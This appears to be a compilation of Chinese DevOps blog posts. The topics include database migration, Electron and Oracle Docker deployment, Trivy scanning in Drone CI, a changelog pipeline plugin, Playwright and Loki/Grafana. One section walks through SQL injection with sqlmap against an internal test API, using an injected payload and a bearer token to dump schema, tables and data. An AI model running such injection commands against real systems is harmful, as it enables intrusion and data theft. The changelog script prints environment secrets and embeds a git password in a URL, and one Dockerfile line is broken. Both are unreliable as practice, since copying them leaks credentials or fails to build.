作者: 李镇伟

迁移drone.io的sqlite数据库到postgresql数据库

背景

drone.io默认安装的时候是使用sqlite数据库,可以用于演示产品,但是一旦git仓库数量过多,build次数过多之后,会越用越卡,从长远来看,想用于生产环境,还是得转向postgresql数据库。关于postgresql数据库的配置可以参考如下页面。主要是设置一个数据库来源和postgresql数据库连接串信息

https://docs.drone.io/server/storage/database/#postgres

实施步骤

1.找到drone.io的原始sqlite数据库。

如果我们采用的是kubernetes的helmchart安装,一般会在drone命名空间里的pvc里找到,可以通过 kubectl命令去找

kubectl get pvc -n drone
kubectl get pv 
kubectl describe pv $(drone的pv名字)

找到存储位置后,具体的sqlite数据库文件叫database.sqlite 可以通过CP命令复制一份database.sqlite出来备份

2.安装postgresql数据库

postgresql数据库的安装还是比较简单的,安装完成之后,再创建一个用于存储drone数据的数据库实例和用户

sudo apt update
sudo apt install postgresql
su postgres
psql
create user 数据库用户名 with password '数据库密码';
create database 数据库实例 owner 数据库用户名;
revoke all on database 数据库实例 from public;

3.安装pgloader工具

pgloader是一款用于从其他数据库导数据到postgresql的工具,此工具安装和使用比较方便,但是有一个缺陷,占用内存会比较大,比如我这里要导入的sqlite数据库有5个G,那么该程序在运行的过程中至少要用10个G的内存,如果不够的话,会在运行一段时间之后被oom kill 掉,加上系统本身运行需要一些内存,我建议得准备一个16G内存的服务器

apt-get install pgloader
#安装完成后添加一个db.load文件,内容如下:
load database
     from sqlite:///home/sfere/database.sqlite
     into postgresql://数据库用户名:数据库密码@数据库ip/数据库实例

     with truncate,
          create tables,
          create indexes,
          reset sequences
;

4.转换前需要重建sqlite数据库”构建信息表

如果不做这一步,会报错

ERROR Database error 42704: type “number” does not exist 

所以我们重建builds表

CREATE TABLE builds1
(
  build_id            bigserial,
  build_repo_id       bigint,
  build_trigger       text,
  build_number        bigint,
  build_parent        bigint,
  build_status        text,
  build_error         text,
  build_event         text,
  build_action        text,
  build_link          text,
  build_timestamp     bigint,
  build_title         text,
  build_message       text,
  build_before        text,
  build_after         text,
  build_ref           text,
  build_source_repo   text,
  build_source        text,
  build_target        text,
  build_author        text,
  build_author_name   text,
  build_author_email  text,
  build_author_avatar text,
  build_sender        text,
  build_deploy        text,
  build_params        text,
  build_started       bigint,
  build_finished      bigint,
  build_created       bigint,
  build_updated       bigint,
  build_version       bigint,
  build_debug         bool,
  build_cron          text default '',
  build_deploy_id     bigint default '0'
);

INSERT INTO builds1 SELECT * FROM builds;

drop table builds;

ALTER TABLE `builds1` RENAME TO `builds`

5.开始导入数据到postgresql,导入完成后检查postgresql数据库里是否有对应的数据

pgloader db.load 

6.导入完成,更新drone server,可以通过修改kubernetes资源的方式,或者修改helm chart 的values.yaml的方式添加环境变量

DRONE_DATABASE_DRIVER=postgres DRONE_DATABASE_DATASOURCE=postgres://用户名:密码@数据库IP:5432/数据库实例?sslmode=disable

把electron程序作为服务部署到debian11系统上

背景

我们的操作系统是debian11,桌面系统gnome,使用electronjs开发了一个linux桌面端程序,需要部署上去,加入系统服务,并设置成开机自启

技术要点

  1. gnome桌面可以使用wayland和xorg登录,我们这里采用的是xorg方式
  2. electronjs使用electron-builder可以打包一个deb包文件,但是deb包里是没有service文件的,这个service文件我们需要自己写
  3. deb包的安装需要以root用户进行,而系统服务中运行xorg不能以root用户进行,而是以登录gnome的用户进行,这里面需要在定制deb包的时候,进行反复套娃

步骤简述

1.先使用electron打包命令 yarn electron-builder –linux 打包出deb需要包含的文件目录

2.编写一个service文件和postinst,postrm,prerm脚本(重要,talk is cheap ,show me the code)

# service文件的内存参考,注意设置环境变量以适配xorg
[Unit]
Description=electron app
After=network.target

[Service]
Type=simple
WorkingDirectory=/工作路径
ExecStart=/工作路径/electron二进制程序
SuccessExitStatus=143
TimeoutStopSec=10
Environment="DISPLAY=:0" "XAUTHORITY=/home/sfere/.Xauthority"
Restart=always
RestartSec=10

[Install]
WantedBy=default.target
#postinst文件参考,因为deb包是用root用户安装的,这里注意要切换到普通用户上去设置开机自启
#!/bin/sh
set -e
export XDG_RUNTIME_DIR=/run/user/1000
su lizhenwei -c 'systemctl --user daemon-reload'
su lizhenwei -c 'systemctl --user enable dscs.service'
su lizhenwei -c 'systemctl --user start dscs.service'
exit 0
# postrm文件参考,如果要删除electron程序,注意要重新加载一次用户服务,避免后台依然再查询改electron服务,会在journalctl 里看到大量的服务找不到的报错
#!/bin/sh
set -e
export XDG_RUNTIME_DIR=/run/user/1000
su lizhenwei -c 'systemctl --user daemon-reload'
exit 0
#prerm文件参考,如果直接执行 apt purge命令卸载electron程序,是不会立刻杀死在gnome前端运行的electron程序的,这里就要通过pkill的方式来杀死一次electron程序
#!/bin/sh
set -e
pkill -f /工作路径/electron二进制程序
exit 0

3.service文件的位置,在deb里的路径需要配置好,放在/home/用户名/.config/systemd/user/下

常见问题

1.如果把electron服务装在了/lib/system/systemd目录下,就会变成root用户启动,这种情况下,electron应用程序也能在桌面打开,但是会报错,报错内容如下:

ERROR:bus.cc(399)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")

解决的办法就是把服务放在/home/用户名/.config/systemd/user/下运行

2.apt purge electron程序 之后,gnome桌面上程序没有关闭,需要手动pkill杀进程,或者参照我上面的代码改写deb包的prerm文件,这个文件也可以在这个路径找到:/var/lib/dpkg/info/[electron程序包名].prerm

生成oracle客户端docker镜像的两种玩法

背景

我们的oracle服务端是oracle12g版本,应用程序均由golang或者python编写,运行在k8s 容器里,那我们就需要build一些docker容器来,那如何build呢?可以参考以下我的方法。文章最后有我编写过程中的参考文章,也可以根据参考文章自己创新。

玩法1:参考oracle官方文档制作

1.下载代码https://github.com/oracle/docker-images.git 到本地

2.进入OracleInstantClient/oraclelinux8/21/目录,该目录下有一个原始的dockerfile文件,可以使用该文件build一个基础镜像,例如

docker build --pull -t oracle/instantclient:21 .

使用build出来的这个oracle/instantclient:21镜像可以二次进行dockerfile编辑加入golang或者python。

也可以用这个oracle/instantclient:21来测试一下oracle数据库是否能正常连接。测试连接命令如下:

docker run -ti --rm oracle/instantclient:21 sqlplus 用户名/密码@数据库IP:数据库端口/数据库名

玩法2:从debian开始制作一个镜像

除了上面的方法外,我们还可以从debian开始制作一个包含python的镜像

1.进入oracle客户端下载页https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html

2.下载https://download.oracle.com/otn_software/linux/instantclient/218000/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip到本地,如下图

3.编写Dockerfile,以debian+oracle+python举例

FROM debian:11-slim

LABEL maintainer="zhenwei.li <zhenwei.li@sfere-elec.com>"
RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y -q libaio1 unzip python3 pip
    && pip install cx_Oracle

# 清理垃圾
RUN set -eux \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* \
    && rm -rf /tmp/*
ENV TZ=Asia/Shanghai \
    DEBIAN_FRONTEND=noninteractive

RUN ln -fs /usr/share/zoneinfo/${TZ} /etc/localtime \
    && echo ${TZ} > /etc/timezone \
    && dpkg-reconfigure --frontend noninteractive tzdata \
    && rm -rf /var/lib/apt/lists/*

COPY instantclient-basic-linux.x64-21.8.0.0.0dbru.zip /opt/oracle/instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

WORKDIR /opt/oracle/

RUN unzip instantclient-basic-linux.x64-21.8.0.0.0dbru.zip

RUN sh -c "echo /opt/oracle/instantclient_21_8 > /etc/ld.so.conf.d/oracle-instantclient.conf"

RUN ldconfig

RUN useradd sfere

4. 目录下放Dockerfile和oracle客户端zip包

5. 制作镜像

docker build -t debian-oracle .

6.运行镜像,测试python连接oracle服务端可行,依次输入如下命令

docker run -ti --rm debian-oracle python
import cx_Oracle as cx
con = cx.connect('用户名', '密码', '数据库IP:数据库端口/数据库名')

参考文章

https://github.com/oracle/docker-images/tree/main/OracleInstantClient

https://csiandal.medium.com/install-oracle-instant-client-on-ubuntu-4ffc8fdfda08

SQLmap的一次实战

1.找注入点(方法可以通过owasp zap去扫描,参考https://www.yinyubo.com/?p=79


2.找到注入点后,将url记下来,例如下图


3.在linux系统里下载sqlmap工具和python

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
apt install python -y

4.去被测网站上获取登录用的token。这里的Authorization信息用在sqlmap的head参数里


5.使用sqlmap工具获得当前数据库的schema

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  --current-db --answers="Y"

根据上图返回的信息,我们可以得到数据库的schema是public


6.获取到了数据库名字之后,我们再去获取数据库的表

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public --tables --answers="Y"

7.这里我们可以看到已经获取到了数据库的所有的表了,我们任意选一张表,去获取字段

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T migrations --dump --answers="Y"

8.抓到列名之后,我们根据列名,再去获取数据,比如我获取dirty 和version字段的数据

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --level 3  -D public -T schema_migrations -C version,id --dump --answers="Y"

9.到这里基本上就结束了,如果还想往里面执行SQL脚本的话(增删改),可以使用–sql-query语句,我这个是查询时间

python sqlmap.py -u 'http://192.168.0.12:30812/api/v1/abcd?begin_at=2022-01-01+00%3A00%3A00&end_at=2022-09-07+00%3A00%3A00%27+AND+%271%27%3D%271
' --method GET  -H 'Authorization:Bearer NDJJMWJKZGITZMFHMY0ZNGY3LTG1OTQTZTRLYMVHZME1M2E4' --sql-query="select now();" --answers="Y"

强制删除rancher里托管的K8S集群

背景

有时候,我们会出现,虚拟机先删除了,然后才想起来rancher里还有个集群没删掉,这个时候,再通过rancher的界面去删除托管集群,往往会一直卡在“当前集群Removing中” 那么这种情况下,该如何处理呢?

我翻到了这么一个答案:https://forums.rancher.com/t/unable-to-remove-cluster/13032/9

让我们一起来实际操作一下吧

1.找到卡住集群的名字

1.点击待删除集群的名字,进入集群的详情页,复制URL中C/后面的字符,例如我的集群是c-9rhjh

2.登录部署rancher的服务器,找到卡住集群

输入命令kubectl get clusters.management.cattle.io 就可以看到我们卡住的集群

3,通过kubectl edit 功能,设置finalizers字段为[]

输入 kubectl edit clusters.management.cattle.io c-9rhjh

保存之后,回到rancher的GUI界面,你会发现此集群已经消失

trivy与droneCI结合,扫描容器安全

trivy是什么?

一款简单的安全扫描工具,扫描范围如下:

  • OS packages and software dependencies in use (SBOM)
  • Known vulnerabilities (CVEs)
  • IaC misconfigurations
  • Sensitive information and secrets

我们选择它的主要原因是,1.它能以docker的方式运行,通过把病毒库缓存挂载在NFS中,避免每次CI都去拉取病毒库。2.它的扫描速度快,10秒钟之内能结束战斗。3.它的扫描对象可以是容器镜像,直接扫描我们业务代码生成的镜像。

4.当扫描出安全漏洞时,我们可以更新基础镜像,一次性解决安全问题,并且再次运行trivy,快速检查。


droneCI里怎么使用trivy呢?

1.每晚定时更新trivy数据库,避开trivy每次自动更新,因为默认trivy上游仓库是6小时更新一次。如果没有自动更新,很有可能巧了,就刚好白天有次drone流水线业务代码提交遇上了trivy,那就花时间久了

附上drone流水线-trivy仓库的参考代码。把更新好的数据库,挂载到一个nfs缓存里

---
kind: pipeline
type: kubernetes
name: download trivy db
steps:
  - name: trivy download db
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --download-db-only"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - cron
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

2.以python仓库为例子,我们在生成镜像后,通过trivy images –exit-code 1 {镜像名称} 功能检查,如果有安全漏洞,会返回exit-code 1流水线结束

---
kind: pipeline
type: kubernetes
name: push
steps:
  - name: buildimages
    image: gcr.io/kaniko-project/executor:v1.8.1
    command: [此处省去build 镜像命令]
  - name: trivy
    image: aquasec/trivy:0.29.2
    commands:
      - "trivy image --skip-db-update --security-checks vuln --exit-code 1 python:latest"
    volumes:
      - name: trivy-cache
        path: /root/.cache/
trigger:
  event:
    - push
volumes:
  - name: trivy-cache
    host:
      path: /home/nfs/cache/trivy

流水线效果

Dbeaver添加IOTDB驱动

背景

因为IOTDB官网是有说明的,但是官网的方法是从源码编译,我这边写一个简单点的方法

下面附上官网链接(也可以参考)

https://iotdb.apache.org/UserGuide/Master/Ecosystem%20Integration/DBeaver.html


下载apache-iotdb-all-in-one

https://iotdb.apache.org/Download/ 进入官网的下载页面,下载与iot-db服务端版本对应的all-in-one

解压下载文件

Dbeaver里新建驱动管理器

依次点击窗口菜单的【数据库】->【驱动管理器】->【新建】

填写iotdb的连接信息,测试连接,可以确认连接成功
JDBC URL: jdbc:iotdb://127.0.0.1:6667/
Username: root
Password: root

通过工具来规范代码提交与发布日志

背景

1.因为我们的现场版本发布是比较频繁的,关于本次发布为了解决什么问题,修复了什么BUG。这个全靠项目经理自觉,并不是每次发布都有写,也不一定每次都能写的全,我想有一个能兜底的机制。

2.这个时候我想起了github发布版本时有一个“auto-generate release notes”功能,它通过 git logs 命令,将两次版本变化之间的git message信息导出成markdown格式的文档,如果我们的gitea有这样一个工具,那就太棒了.

3.在gitea官网和github上进行了查阅,发现gitea目前不打算抄这个功能,未来也不会做,而我们的git服务端用的是gitea,于是我想通过drone CI流水线来实现这个功能

4.通过查阅,我发现nodejs有一个很火的工具https://github.com/conventional-changelog/standard-version 能够完成这件事,只要我们开发人员提交的 git message是符合https://www.conventionalcommits.org/https://semver.org/规范的即可

5.根据这个规范,找到vscode里有一个插件”Conventional Commits”工具是非常契合的

6.结局是我们的开发人员,只需要在vscode上安装好这个”Conventional Commits”工具,并且根据工具提示来提交代码,后续就可以自动生成changelog了,从而达到标准化“代码提交”和“发布日志”的目的

效果图

下面这个Changelog由发布之后的流水线自动生成

开发人员做什么

在vscode里下载该插件,插件扩展ID vivaxy.vscode-conventional-commits

提交代码的时候,按照工具提示一路选择即可

运维人员做什么

根据https://github.com/conventional-changelog/standard-version库来编写一个简单的流水线工具

这里我用的代码是python,流水线运行环境是DroneCI,git服务端是gitea

废话不多说,下面直接上代码,可以通过 docker build命令

docker build -t drone-changelog-plugin:1.0.1 .

去制作drone的流水线镜像

main.py

import os
import shutil

import requests


def search_tag_info(git_url,token, repo):
    '''
    搜索git上的tag信息
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :return: tag信息集合
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases"
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    response = requests.get(url, headers=headers)
    tag_list = response.json()
    return tag_list


def modify_tag_body(git_url,token, repo, tag_id, body):
    '''
    修改git仓库的tag里的内容
    :param git_url: git 的地址
    :param token: git 的access token
    :param repo: git 待查询的git仓库信息
    :param tag_id: git tag的id信息
    :param body: 需要修改的内容,一般是changelog.md文件
    :return:
    '''
    url = "https://"+git_url+"/api/v1/repos/" + repo + "/releases/" + str(tag_id)
    headers = {'accept': 'application/json',
               'Authorization': 'token ' + token,
               'Content-Type': 'application/json'
               }
    body = {
        "body": body
    }
    response = requests.patch(url, json=body, headers=headers)


if __name__ == '__main__':
    print(os.environ)
    tag = os.environ["DRONE_TAG"]
    branch = os.environ["DRONE_REPO_BRANCH"]
    username = os.environ["DRONE_NETRC_USERNAME"]
    password = os.environ["DRONE_NETRC_PASSWORD"]
    git_repo = os.environ["DRONE_REPO"]
    git_token = os.environ["PLUGIN_TOKEN"]
    src_file = "/lzw/.versionrc"
    dst_foleder = os.environ["DRONE_WORKSPACE"]
    git_url= os.environ["PLUGIN_GIT_SERVER"]
    shutil.copy(src_file, dst_foleder)

    # 获取当前仓库里所有的tag信息
    tag_info_list = search_tag_info(git_url,git_token, git_repo)
    # 获取最新的一个tag
    now_tag = tag_info_list[0]
    # 获取所有的tag信息,这个地方是因为standard-version的特性,
    # 要获取所有的tag信息,再删掉当前的tag信息,
    # 再使用standard-version 重新生成一个tag信息
    os.system("git remote set-url origin https://'" + username + "':'" + password + "'@"+git_url+"/" + git_repo)
    os.system("git fetch --all")
    os.system("git tag -d " + tag)
    cmd = 'standard-version --tag-prefix "" --release-as ' + tag
    print(cmd)
    os.system(cmd)
    # standard-version命令会产生一个CHANGELOG.md文件
    with open('CHANGELOG.md', encoding='utf-8') as f:
        line = f.read()
    print("tag len is:" + str(len(tag_info_list)))
    # 判断一下目前有几个tag,分割保留最新的git tag 变更信息
    if len(tag_info_list) > 1:
        pre = tag_info_list[1]
        list = line.split(" " + pre['tag_name'] + " ")
        # print(list[0])
        now_content = list[0]
    else:
        now_content = line
    # 把CHANGELOG.md中本次变更的传到git的tag信息里
    modify_tag_body(git_url,git_token, git_repo, now_tag['id'], now_content)

Dockerfile

FROM python:3.9-buster
LABEL maintainer="357244849@qq.com"

RUN set -eux \
    && sed -i "s@http://ftp.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && sed -i "s@http://security.debian.org@https://repo.huaweicloud.com@g" /etc/apt/sources.list \
    && apt-get update \
    && apt-get install -y nodejs npm
ENV NODE_PATH="/usr/lib/node_modules"
ENV LANG=C.UTF-8 PYTHONUNBUFFERED=1
RUN npm i -g standard-version
WORKDIR /lzw
ADD . /lzw
RUN pip install -r /lzw/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
CMD ["python3","/lzw/main.py"]

requirements.txt

requests

.versionrc

{
  "types": [
    {"type": "feat","section": "Features"},
    {"type": "fix","section": "Bug Fixes"},
    {"type": "docs","section": "Documentation" },
    {"type": "style","section": "Styling" },
    {"type": "refactor","section": "Refactors" },
    {"type": "perf","section": "Performance" },
    {"type": "test","section": "Tests" },
    {"type": "build","section": "Build System" },
    {"type": "ci","section": "CI" },
    {"type": "chore","section": "Chore","hidden":true },
    {"type": "revert","section": "Reverts" }
  ]
}

如何嵌入到DroneCI流水线呢

在drone.yml文件里嵌入如下yml即可

---
kind: pipeline
type: kubernetes
name: tag
steps:
  - name: generator change log
    image: drone-changelog-plugin:1.0.1
    settings:
      token: XXXXXX
      git_url: XXXXXX
trigger:
  event:
    - tag

playwright拖拽元素和获取元素集合

背景

因为这两个功能经常用,网上又很少有直接可以抄的代码,所以我写个文章记录一下

元素向下拖拽100个px

拖拽演示

解说:先定位到要拖拽的元素,然后鼠标移动到元素的中心点,接着鼠标选中,鼠标移动,鼠标放下

src_elem = page.locator("xpath=元素定位")
box = src_elem.bounding_box(timeout=60000)
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2)
page.mouse.down()
page.mouse.move(box["x"] + box["width"] / 2, box["y"] + box["height"] / 2 + 100)
page.mouse.up()

元素拖拽到另外一个元素上

这种方法也有用,比如把一个按钮丢到另外一个画板里

src_elem = page.locator("xpath=元素原来的")
src_elem.drag_to(page.locator("xpath=元素新的位置"))

获取一批元素集合,然后截图

我们的页面上有一批图片,以瀑布流的方式展示出来,他们的css都是相同的,我们需要给每一个元素截图,并且截图之后再鼠标向下滚动一下

elements = page.query_selector_all(".search-result__item")
number = 1
for item in elements:
    number = number + 1
    page.mouse.wheel(0, 100)
    item.screenshot(path="image/"+str(number) + ".png")
    time.sleep(1)

使用loki+promtail+grafana架构分析nginx日志

0.前提

1.已经阅读过这篇文章https://www.yinyubo.com/2022/03/14/nginx%E5%8A%A8%E6%80%81%E5%A2%9E%E5%8A%A0%E6%A8%A1%E5%9D%97ngx_http_geoip2_module

并且在nginx里已经安装好了geoip2

2.电脑上安装好了docker和docker-compose

1.调整nginx的访问日志格式

编辑/etc/nginx/nginx.conf,内容参考如下

...
load_module modules/ngx_http_geoip2_module.so;
...
http {
    include       /etc/nginx/mime.types;
    geoip2 /home/lzw/GeoLite2-Country_20220222/GeoLite2-Country.mmdb {
        auto_reload 5m;
        $geoip2_metadata_country_build metadata build_epoch;
        $geoip2_data_country_code default=CN source=$remote_addr country iso_code;
        $geoip2_data_country_name country names en;
    }
    geoip2 /home/lzw/GeoLite2-City_20220222/GeoLite2-City.mmdb {
        $geoip2_data_city_name default=Nanjing city names en;
 
    }
    vhost_traffic_status_zone;
    vhost_traffic_status_filter_by_set_key $geoip2_data_country_code country::*;
    log_format json_analytics escape=json '{'
                            '"msec": "$msec", ' # request unixtime in seconds with a milliseconds resolution
                            '"connection": "$connection", ' # connection serial number
                            '"connection_requests": "$connection_requests", ' # number of requests made in connection
                    '"pid": "$pid", ' # process pid
                    '"request_id": "$request_id", ' # the unique request id
                    '"request_length": "$request_length", ' # request length (including headers and body)
                    '"remote_addr": "$remote_addr", ' # client IP
                    '"remote_user": "$remote_user", ' # client HTTP username
                    '"remote_port": "$remote_port", ' # client port
                    '"time_local": "$time_local", '
                    '"time_iso8601": "$time_iso8601", ' # local time in the ISO 8601 standard format
                    '"request": "$request", ' # full path no arguments if the request
                    '"request_uri": "$request_uri", ' # full path and arguments if the request
                    '"args": "$args", ' # args
                    '"status": "$status", ' # response status code
                    '"body_bytes_sent": "$body_bytes_sent", ' # the number of body bytes exclude headers sent to a client
                    '"bytes_sent": "$bytes_sent", ' # the number of bytes sent to a client
                    '"http_referer": "$http_referer", ' # HTTP referer
                    '"http_user_agent": "$http_user_agent", ' # user agent
                    '"http_x_forwarded_for": "$http_x_forwarded_for", ' # http_x_forwarded_for
                    '"http_host": "$http_host", ' # the request Host: header
                    '"server_name": "$server_name", ' # the name of the vhost serving the request
                    '"request_time": "$request_time", ' # request processing time in seconds with msec resolution
                    '"upstream": "$upstream_addr", ' # upstream backend server for proxied requests
                    '"upstream_connect_time": "$upstream_connect_time", ' # upstream handshake time incl. TLS
                    '"upstream_header_time": "$upstream_header_time", ' # time spent receiving upstream headers
                    '"upstream_response_time": "$upstream_response_time", ' # time spend receiving upstream body
                    '"upstream_response_length": "$upstream_response_length", ' # upstream response length
                    '"upstream_cache_status": "$upstream_cache_status", ' # cache HIT/MISS where applicable
                    '"ssl_protocol": "$ssl_protocol", ' # TLS protocol
                    '"ssl_cipher": "$ssl_cipher", ' # TLS cipher
                    '"scheme": "$scheme", ' # http or https
                    '"request_method": "$request_method", ' # request method
                    '"server_protocol": "$server_protocol", ' # request protocol, like HTTP/1.1 or HTTP/2.0
                    '"pipe": "$pipe", ' # "p" if request was pipelined, "." otherwise
                    '"gzip_ratio": "$gzip_ratio", '
                    '"http_cf_ray": "$http_cf_ray",'
                    '"geoip_country_code": "$geoip2_data_country_code"'
                    '}';
    access_log   /var/log/nginx/json_access.log json_analytics;

2.安装loki+promtail+grafana

1.编写docker-compose文件,内容如下

version: "3"
 
networks:
  loki:
 
services:
  loki:
    image: grafana/loki:2.4.1
    ports:
      - "3100:3100"
    volumes:
      - /home/lzw/loki/loki-conf:/etc/loki
    command: -config.file=/etc/loki/local-config.yaml
    networks:
      - loki
 
  promtail:
    image: grafana/promtail:2.4.1
    volumes:
      - /home/lzw/loki/promtail-conf:/etc/promtail
      - /var/log/nginx:/var/log/nginx
    command: -config.file=/etc/promtail/config.yml
    networks:
      - loki
 
  grafana:
    image: grafana/grafana:latest
    volumes:
      - /home/lzw/loki/grafana:/var/lib/grafana
    ports:
      - "3000:3000"
    networks:
      - loki

2,编写loki-conf/local-config.yaml 配置文件

auth_enabled: false
 
server:
  http_listen_port: 3100
 
common:
  path_prefix: /loki
  storage:
    filesystem:
      chunks_directory: /loki/chunks
      rules_directory: /loki/rules
  replication_factor: 1
  ring:
    instance_addr: 127.0.0.1
    kvstore:
      store: inmemory
 
schema_config:
  configs:
    - from: 2020-10-24
      store: boltdb-shipper
      object_store: filesystem
      schema: v11
      index:
        prefix: index_
        period: 24h
 
ruler:
  alertmanager_url: http://localhost:9093

3.编写promtail-conf/config.yml文件

server:
  http_listen_port: 9080
  grpc_listen_port: 0
 
positions:
  filename: /tmp/positions.yaml
 
clients:
  - url: http://loki:3100/loki/api/v1/push
 
scrape_configs:
- job_name: nginx
  static_configs:
  - targets:
      - localhost
    labels:
      job: nginx
      agent: promtail
      __path__: /var/log/nginx/json_access.log

4.准备grafana挂载目录

docker run -d -p 3002:3000 --name=grafana2 grafana/grafana:latest
docker cp grafana2:/var/lib/grafana /home/lzw/loki/.
docker rm -f grafana2
sudo chown -R 472 /home/lzw/loki/grafana

5.运行docker-compose

docker-compose -f docker-compose.yaml up -d

运行完成后,3000端口可以访问grafana、3100端口访问loki。nginx的日志文件通过volume的方式挂载进promtail

3.在grafana里配置报表

1.配置数据源http://loki:3100

2.导入官网模板https://grafana.com/grafana/dashboards/12559

3.导入后的效果应该和下图类似